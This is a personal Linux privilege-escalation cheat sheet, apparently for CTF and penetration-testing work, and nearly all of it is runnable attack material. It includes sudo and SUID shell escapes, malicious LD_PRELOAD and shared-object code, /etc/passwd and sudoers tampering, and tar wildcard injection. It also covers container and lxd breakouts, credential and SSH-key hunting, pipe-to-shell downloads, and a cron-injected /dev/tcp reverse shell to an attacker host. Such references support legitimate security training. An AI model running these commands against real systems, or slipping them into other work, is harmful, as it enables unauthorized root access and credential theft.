My go-to reference for Linux privesc. Every box is different but the checklist is always the same. Run through this methodically and you’ll find the path.


Initial Enumeration

Run these first. Every time. No exceptions.

# Who am I
whoami
id
hostname

# OS info
cat /etc/os-release
uname -a
cat /proc/version

# Sudo rights — THE FIRST THING YOU CHECK
sudo -l

# Users
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group

# Network
ip a
ss -tulnp
netstat -tulnp

# Running processes
ps auxf

# Installed packages (look for custom/unusual stuff)
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null

# Mounted filesystems
mount
cat /etc/fstab

# Environment variables
env
cat /etc/profile
cat ~/.bashrc

Tip: ss -tulnp reveals internal services not visible from your nmap scan. Found MySQL, Redis, or something on localhost? That’s your pivot.


Automated Enumeration

# LinPEAS — the GOAT
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer and run
wget http://$ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# LinEnum
./linenum.sh -t

# pspy — monitor processes without root (catches cron jobs)
./pspy64

Gotcha: If you can’t transfer files, try base64 encoding or copy-paste. Or just run the manual checks below.


Sudo Abuse

sudo -l

This is the single most important command in Linux privesc. Period.

GTFOBins Patterns

Check every binary against GTFOBins.

# Common sudo wins
sudo vim -c '!sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo less /etc/shadow  # then !sh
sudo man man  # then !sh
sudo env /bin/sh
sudo nmap --interactive  # old versions: !sh
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh

# Editor escapes
sudo vi  # :!sh or :set shell=/bin/sh then :shell
sudo nano  # Ctrl+R, Ctrl+X, then command

sudo with NOPASSWD and env_keep

# LD_PRELOAD abuse — if env_keep+=LD_PRELOAD in sudo -l
# 1. Write malicious shared object
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

# 2. Compile
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 3. Run any allowed sudo command with it
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>

sudo with LD_LIBRARY_PATH

# If env_keep+=LD_LIBRARY_PATH
# 1. Find shared libraries the sudo binary uses
ldd /usr/bin/<allowed_program>

# 2. Create malicious library matching one of those names
cat > /tmp/libfoo.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/libfoo.so /tmp/libfoo.c
sudo LD_LIBRARY_PATH=/tmp <allowed_program>

sudo Versions

sudo --version
  • CVE-2021-3156 (Baron Samedit): sudo < 1.9.5p2. Heap overflow → root.
  • CVE-2019-14287: sudo -u#-1 /bin/bash when sudoers says (ALL, !root).
  • CVE-2019-18634: Buffer overflow when pwfeedback enabled.

SUID/SGID Binaries

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Both
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

Cross-reference every result with GTFOBins. Focus on anything non-standard.

Common SUID Exploits

# Custom SUID binary calling system() without full path
# Check with:
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary

# If it calls something like system("service apache2 start")
# PATH hijack:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary

# SUID bash/sh
/bin/bash -p
/bin/sh -p

# SUID cp — overwrite /etc/passwd or /etc/shadow
# Generate password hash:
openssl passwd -1 hacked
# Create modified passwd with root entry
# Copy over with the SUID cp

# SUID find
find . -exec /bin/sh -p \; -quit

# SUID python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Gotcha: The -p flag is critical with bash/sh SUID. Without it, bash drops privileges.


Linux Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

Dangerous Capabilities

CapabilityAbuse
cap_setuid+epSet UID to 0. Direct root.
cap_setgid+epSet GID to 0.
cap_net_raw+epPacket sniffing.
cap_dac_read_search+epRead any file.
cap_dac_override+epWrite any file.
cap_net_bind_service+epBind to privileged ports.
# python3 with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# tar with cap_dac_read_search — read /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

# openssl with cap_setuid
openssl req -engine /tmp/privesc.so  # custom engine

Cron Jobs

# System cron
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*

# User crons
crontab -l
crontab -l -u root 2>/dev/null

# systemd timers
systemctl list-timers --all

# Watch for processes (pspy is better but this works)
watch -n 1 'ps aux | grep -v watch'

Cron Exploitation

# 1. Script is writable by you → inject reverse shell
echo 'bash -i >& /dev/tcp/$ATTACKER/9001 0>&1' >> /path/to/cron_script.sh

# 2. Script references a writable directory → PATH hijack
# If cron runs: /usr/local/bin/backup.sh which calls "tar" without full path
# And PATH in crontab starts with a writable dir

# 3. Wildcard injection (tar, rsync, chown)
# Cron runs: tar czf /tmp/backup.tar.gz *
# In the working directory:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > privesc.sh

# 4. Cron script doesn't exist but directory is writable
# Just create it with your payload

Tip: pspy is the real MVP here. Some cron jobs don’t show up in crontab but still run. pspy catches everything.


Writable Files and Directories

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# World-writable directories
find / -writable -type d 2>/dev/null

# Files owned by current user
find / -user $(whoami) -type f 2>/dev/null

# Writable /etc/passwd — instant root
openssl passwd -1 hacked
# Add to /etc/passwd:
echo 'root2:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2

# Writable /etc/shadow — replace root hash
mkpasswd -m sha-512 hacked
# Replace root's hash in /etc/shadow

PATH Hijacking

Works when a privileged script/binary calls another binary without the full path.

# 1. Find the vulnerable call
strings /path/to/suid_binary  # look for system calls
strace /path/to/suid_binary 2>&1 | grep exec

# 2. Create malicious binary
echo '/bin/bash -p' > /tmp/targetcmd
chmod +x /tmp/targetcmd

# 3. Prepend to PATH
export PATH=/tmp:$PATH

# 4. Run the vulnerable binary
/path/to/suid_binary

Kernel Exploits

Last resort. Can crash the box. But sometimes it’s the only way.

# Gather info
uname -a
cat /proc/version
cat /etc/os-release

Notable Kernel Exploits

CVENameKernel Versions
CVE-2016-5195Dirty COW< 4.8.3
CVE-2021-4034PwnKit (pkexec)Polkit < 0.120
CVE-2021-3156Baron Sameditsudo < 1.9.5p2
CVE-2022-0847Dirty Pipe5.8 <= kernel < 5.16.11
CVE-2022-2588DirtyCredkernel < 5.19
CVE-2023-0386OverlayFSkernel < 6.2
CVE-2023-32233nf_tableskernel < 6.4
# PwnKit — works on most systems with polkit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

# Dirty Pipe
# Download exploit, compile on target or cross-compile
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd 1 "${openssl_hash}"

Gotcha: Always try PwnKit first. Works on a surprising number of boxes and doesn’t crash anything.


NFS

# Check for NFS shares
showmount -e $IP
cat /etc/exports

# Look for no_root_squash
cat /etc/exports | grep no_root_squash

no_root_squash Exploitation

# On attacker machine (as root)
mkdir /tmp/nfs
mount -t nfs $IP:/share /tmp/nfs

# Create SUID binary
cat > /tmp/nfs/shell.c << 'EOF'
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod u+s /tmp/nfs/shell

# On target — run the SUID binary
/share/shell

Docker / Container Breakout

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep docker
ls -la /.dockerenv
hostname  # random hex = probably container

# Docker socket accessible?
ls -la /var/run/docker.sock

# User in docker group? → root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Docker socket mount escape
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# Privileged container escape
# Check: cat /proc/self/status | grep CapEff
# If 0000003fffffffff — you're privileged
mkdir /tmp/escape && mount -t cgroup -o rdma cgroup /tmp/escape
# Or use CDK tool

LXD/LXC Group

# User in lxd group → root
# On attacker: build alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

# Transfer to target
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Root filesystem at /mnt/root

Credential Hunting

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.nano_history

# Config files with passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | head -30
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null
grep -ri "pass\|pwd\|token\|secret\|key" /home/ 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# Web app configs
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null

# Database credentials
cat /etc/mysql/debian.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null

# Password reuse — found a password? Try it for root
su root

Tip: Password reuse is absurdly common. Every password you find, try it for root and every other user on the box.


Miscellaneous

Writable /etc/sudoers

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo su

Mail

cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)

Shared Object Injection

# SUID binary loading a missing .so file
strace /path/to/suid_binary 2>&1 | grep "No such file"
# If it tries to load /home/user/.config/libfoo.so

cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /home/user/.config/libfoo.so /tmp/privesc.c
/path/to/suid_binary

Internal Services

# Port forward to access internal services
# SSH local forward
ssh -L 8080:127.0.0.1:8080 user@$IP

# Chisel
# Attacker: chisel server --reverse --port 8001
# Target:   chisel client $ATTACKER:8001 R:8080:127.0.0.1:8080

Quick Wins Checklist

  1. sudo -l — always first
  2. SUID binaries → GTFOBins
  3. Capabilities → cap_setuid is free root
  4. Cron jobs with writable scripts or wildcard injection
  5. Writable /etc/passwd
  6. Kernel version → PwnKit, Dirty Pipe
  7. Docker/lxd group membership
  8. Credentials in config files, history, environment
  9. Internal services on localhost
  10. NFS with no_root_squash
  11. SSH keys lying around
  12. Password reuse everywhere